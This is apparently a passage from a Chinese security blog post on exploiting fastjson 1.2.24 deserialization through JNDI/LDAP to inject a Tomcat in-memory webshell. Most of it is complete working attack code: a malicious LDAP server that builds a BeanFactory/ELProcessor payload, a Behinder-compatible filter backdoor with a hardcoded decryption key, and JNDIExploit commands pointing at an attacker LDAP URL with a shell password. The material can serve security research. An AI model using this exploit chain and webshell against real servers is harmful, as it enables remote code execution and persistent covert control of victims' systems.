- Tomcat < 8.0org.apache.tomcat.dbcp.dbcp.BasicDataSource
内存马注入
这里的测试环境为JDK8u211+springboot。
使用LDAP+序列化本地工厂类的方式绕过高版本jdk的限制,不过由于
org.apache.naming.factory.BeanFactory
在tomcat-catalina 9.0.62后的版本forceString选项已作为安全强化措施删除,所以这里特别设置了tomcat-embed-core的版本
<dependencies><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency><dependency><groupId>org.apache.tomcat.embed</groupId><artifactId>tomcat-embed-core</artifactId><version>9.0.62</version></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId><version>2.6.7</version></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-tomcat</artifactId><version>2.6.7</version><scope>provided</scope></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><version>2.6.7</version><scope>test</scope></dependency></dependencies>
packagecom.example.fastjsondemo;importcom.alibaba.fastjson.JSON;importorg.springframework.stereotype.Controller;importorg.springframework.web.bind.annotation.RequestMapping;importorg.springframework.web.bind.annotation.RequestMethod;importorg.springframework.web.bind.annotation.RequestParam;importorg.springframework.web.bind.annotation.ResponseBody;@ControllerpublicclassIndexController{@ResponseBody@RequestMapping(value ="/index", method =RequestMethod.POST)publicObjecthello(@RequestParam("code")String code)throwsException{//System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.out.println(code);Object object =JSON.parse(code);return code +"->JSON.parseObject()->"+ object;}}
ldapSever的代码如下:
packageJNDI;importcom.unboundid.ldap.listener.InMemoryDirectoryServer;importcom.unboundid.ldap.listener.InMemoryDirectoryServerConfig;importcom.unboundid.ldap.listener.InMemoryListenerConfig;importcom.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;importcom.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;importcom.unboundid.ldap.sdk.Entry;importcom.unboundid.ldap.sdk.LDAPResult;importcom.unboundid.ldap.sdk.ResultCode;importjavassist.ClassPool;importjavassist.CtClass;importorg.apache.naming.ResourceRef;importjavax.naming.StringRefAddr;importjavax.net.ServerSocketFactory;importjavax.net.SocketFactory;importjavax.net.ssl.SSLSocketFactory;importjava.io.ByteArrayOutputStream;importjava.io.IOException;importjava.io.ObjectOutputStream;importjava.net.InetAddress;importjava.util.Base64;publicclassLdapServerBypass{publicstaticvoidmain(String[] args)throwsException{InMemoryDirectoryServerConfig config =newInMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(newInMemoryListenerConfig("listen",InetAddress.getByName("127.0.0.1"),1389,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory)SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(newLdapServerBypass.OperationInterceptor());InMemoryDirectoryServer directoryServer =newInMemoryDirectoryServer(config);
directoryServer.startListening();}privatestaticclassOperationInterceptorextendsInMemoryOperationInterceptor{privateString payloadTemplate ="{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"{replacement}\")}";privateString payload ="var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('{replacement}');\nvar classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n method.setAccessible(true);\n var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n clazz.newInstance();\n;";@OverridepublicvoidprocessSearchResult(InMemoryInterceptedSearchResult result){CtClass clazzz =null;byte[] code;String base = result.getRequest().getBaseDN();ResourceRef ref =newResourceRef("javax.el.ELProcessor",(String)null,"","",true,"org.apache.naming.factory.BeanFactory",(String)null);
ref.add(newStringRefAddr("forceString","test=eval"));ClassPool pool =ClassPool.getDefault();//要加载的恶意类 MemoryShell.BehinderFilter2try{
clazzz = pool.get(MemoryShell.BehinderFilter2.class.getName());
code = clazzz.toBytecode();}catch(Exception e){thrownewRuntimeException(e);}StringClassCode=Base64.getEncoder().encodeToString(code);this.payload =this.payload.replace("{replacement}",ClassCode);String finalPayload =this.payloadTemplate.replace("{replacement}", payload);System.out.println(finalPayload);
ref.add(newStringRefAddr("test", finalPayload));Entry entry =newEntry(base);
entry.addAttribute("javaClassName","java.lang.String");try{
entry.addAttribute("javaSerializedData",serialize(ref));}catch(IOException e){thrownewRuntimeException(e);}try{
result.sendSearchEntry(entry);
result.setResult(newLDAPResult(0,ResultCode.SUCCESS));}catch(Exception e){
e.printStackTrace();}}publicstaticbyte[]serialize(Object ref)throwsIOException{ByteArrayOutputStream out =newByteArrayOutputStream();ObjectOutputStream objOut =newObjectOutputStream(out);
objOut.writeObject(ref);return out.toByteArray();}}}
内存马使用从线程中获取request对象再获取standardContext的方式,这里dofilter的实现在冰蝎4.0可用
packageMemoryShell;importorg.apache.catalina.core.ApplicationContext;importorg.apache.catalina.core.StandardContext;importorg.apache.coyote.Request;importorg.apache.coyote.RequestInfo;importjavax.servlet.*;importjavax.servlet.http.HttpServletRequest;importjavax.servlet.http.HttpServletResponse;importjavax.servlet.http.HttpSession;importjava.io.ByteArrayOutputStream;importjava.io.IOException;importjava.lang.reflect.Field;importjava.lang.reflect.Method;importjava.util.Arrays;importjava.util.HashMap;importjava.util.List;publicclassBehinderFilter2implementsFilter{static{String filterName ="test";org.apache.catalina.connector.Request req =null;try{boolean flag =false;Thread[] threads =(Thread[])getField(Thread.currentThread().getThreadGroup(),"threads");for(int i=0;i<threads.length;i++){Thread thread = threads[i];if(thread !=null){String threadName = thread.getName();if(threadName.contains("Poller")&& threadName.contains("http")){Object target =getField(thread,"target");Object global =null;if(target instanceofRunnable){// 需要遍历其中的 this$0/handler/global// 需要进行异常捕获,因为存在找不到的情况try{
global =getField(getField(getField(target,"this$0"),"handler"),"global");}catch(NoSuchFieldException fieldException){
fieldException.printStackTrace();}}// 如果成功找到了 我们的 global ,我们就从里面获取我们的 processorsif(global !=null){List processors =(List)getField(global,"processors");for(i=0;i<processors.size();i++){RequestInfo requestInfo =(RequestInfo) processors.get(i);if(requestInfo !=null){Request tempRequest =(Request)getField(requestInfo,"req");org.apache.catalina.connector.Request request =(org.apache.catalina.connector.Request) tempRequest.getNote(1);
req = request;
flag =true;break;}}}}}if(flag){break;}}//获取 servletContextServletContext servletContext =null;if(req !=null){
servletContext = req.getServletContext();}// 如果已有此 filterName 的 Filter,则不再重复添加if(servletContext.getFilterRegistration(filterName)==null){StandardContext standardContext =null;// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象if(servletContext !=null){Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);ApplicationContext appctx =(ApplicationContext) ctx.get(servletContext);Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
standardContext =(StandardContext) stdctx.get(appctx);}// 创建自定义 Filter 对象Filter evilFilter =newBehinderFilter2();//修改context状态java.lang.reflect.Field stateField =org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);// 创建 FilterDef 对象javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, evilFilter);
filterRegistration.setInitParameter("encoding","utf-8");
filterRegistration.setAsyncSupported(false);//添加映射 设置要拦截的路径
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),false,newString[]{"/arnold"});//状态恢复,要不然服务不可用if(stateField !=null){
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);}if(standardContext !=null){//在 filterConfigs 中添加 ApplicationFilterConfig使得filter生效java.lang.reflect.Method filterStartMethod =org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext,null);//把filter插到第一位org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext.findFilterMaps();for(int i =0; i < filterMaps.length; i++){if(filterMaps[i].getFilterName().equalsIgnoreCase(filterName)){org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i]= filterMaps[0];
filterMaps[0]= filterMap;break;}}}}}catch(Exception e){
e.printStackTrace();}}publicstaticObjectgetField(Object obj,String fieldName)throwsException{Field f0 =null;Class clas = obj.getClass();while(clas !=Object.class){try{
f0 = clas.getDeclaredField(fieldName);break;}catch(NoSuchFieldException e){
clas = clas.getSuperclass();}}if(f0 !=null){
f0.setAccessible(true);return f0.get(obj);}else{thrownewNoSuchFieldException(fieldName);}}@Overridepublicvoidinit(FilterConfig filterConfig)throwsServletException{}@OverridepublicvoiddoFilter(ServletRequest servletRequest,ServletResponse servletResponse,FilterChain filterChain)throwsIOException,ServletException{System.out.println("Do Filter ......");// 获取request和response对象HttpServletRequest request =(HttpServletRequest) servletRequest;HttpServletResponse response =(HttpServletResponse)servletResponse;HttpSession session = request.getSession();//create pageContextHashMap pageContext =newHashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);if(request.getMethod().equals("POST")){ByteArrayOutputStream bos =newByteArrayOutputStream();byte[] buf =newbyte[512];int length=request.getInputStream().read(buf);while(length>0){byte[] data=Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);}//解码器byte[] decodebs;Class baseCls ;try{
baseCls=Class.forName("java.util.Base64");ObjectDecoder=baseCls.getMethod("getDecoder",null).invoke(baseCls,null);
decodebs=(byte[])Decoder.getClass().getMethod("decode",newClass[]{byte[].class}).invoke(Decoder,newObject[]{bos.toByteArray()});}catch(Throwable e){try{
baseCls =Class.forName("sun.misc.BASE64Decoder");ObjectDecoder=null;Decoder= baseCls.newInstance();
decodebs=(byte[])Decoder.getClass().getMethod("decodeBuffer",newClass[]{String.class}).invoke(Decoder,newObject[]{newString(bos.toByteArray())});}catch(Exception ex){thrownewRuntimeException(ex);}}String key="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/for(int i =0; i < decodebs.length; i++){
decodebs[i]=(byte)((decodebs[i])^(key.getBytes()[i +1&15]));}try{//revision BehinderFilterMethod defineClassMethod =Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass",byte[].class,int.class,int.class);
defineClassMethod.setAccessible(true);Class cc =(Class) defineClassMethod.invoke(this.getClass().getClassLoader(), decodebs,0, decodebs.length);
cc.newInstance().equals(pageContext);}catch(Exception e){thrownewRuntimeException(e);}}
filterChain.doFilter(servletRequest, servletResponse);System.out.println("doFilter");}@Overridepublicvoiddestroy(){}}
当然更方便的办法是使用JNDIExploit-1.3这个工具
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.106.131
ldap://192.168.106.131:1389/TomcatBypass/TomcatMemshell3
冰蝎3.0可用,连接密码为ateamnb
参考
[KCon Hacking JSON](https://github.com/knownsec/KCon/blob/master/2022/Hacking JSON【KCon2022】.pdf)
Java 反序列化漏洞始末(3)— fastjson
fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路
fastjson 1.2.68 最新版本有限制 autotype bypass
Fastjson1-2-80漏洞复现
fastjson 1.2.80 漏洞分析
fastjson 1.2.80绕过简单分析
https://www.cnblogs.com/writeLessDoMore/p/6926451.html
https://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/
版权归原作者 Arnoldqqq 所有, 如有侵权,请联系我们删除。